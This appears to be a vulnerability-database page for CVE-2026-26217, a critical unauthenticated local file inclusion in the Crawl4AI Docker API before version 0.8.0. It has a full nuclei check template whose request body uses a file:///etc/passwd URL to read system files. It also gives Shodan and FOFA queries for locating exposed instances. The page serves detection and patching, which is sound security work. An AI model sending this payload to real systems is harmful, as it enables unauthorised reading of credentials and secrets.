Browse / CVEs / CVE-2026-26217
CVE-2026-26217
Crawl4AI < 0.8.0 - Local File Inclusion
criticalseverity
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.
Impact
Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.
Fix
Update to version 0.8.0 or later.
How to confirm it
Send: GET {{BaseURL}}
Positive when: contains(tolower(body), "crawl4ai")
Send: POST {{BaseURL}}/execute_js ; POST {{BaseURL}}/html
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2026-26217 -u <target>
The full check
id: CVE-2026-26217
info:
name: Crawl4AI < 0.8.0 - Local File Inclusion
author: str4k3r,Aryu-RU
severity: critical
description: |
The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.
impact: |
Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.
remediation: |
Update to version 0.8.0 or later.
reference:
- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796
classification:
cve-id: CVE-2026-26217
epss-score: 0.02067
epss-percentile: 0.81558
metadata:
verified: true
shodan-query: title:"Crawl4AI"
fofa-query: title="Crawl4AI"
tags: cve,cve2026,crawl4ai,lfi,file-read
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "crawl4ai")'
internal: true
- method: POST
path:
- "{{BaseURL}}/execute_js"
- "{{BaseURL}}/html"
headers:
Content-Type: application/json
body: '{"url": "file:///etc/passwd", "scripts": ["document.body.innerText"]}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from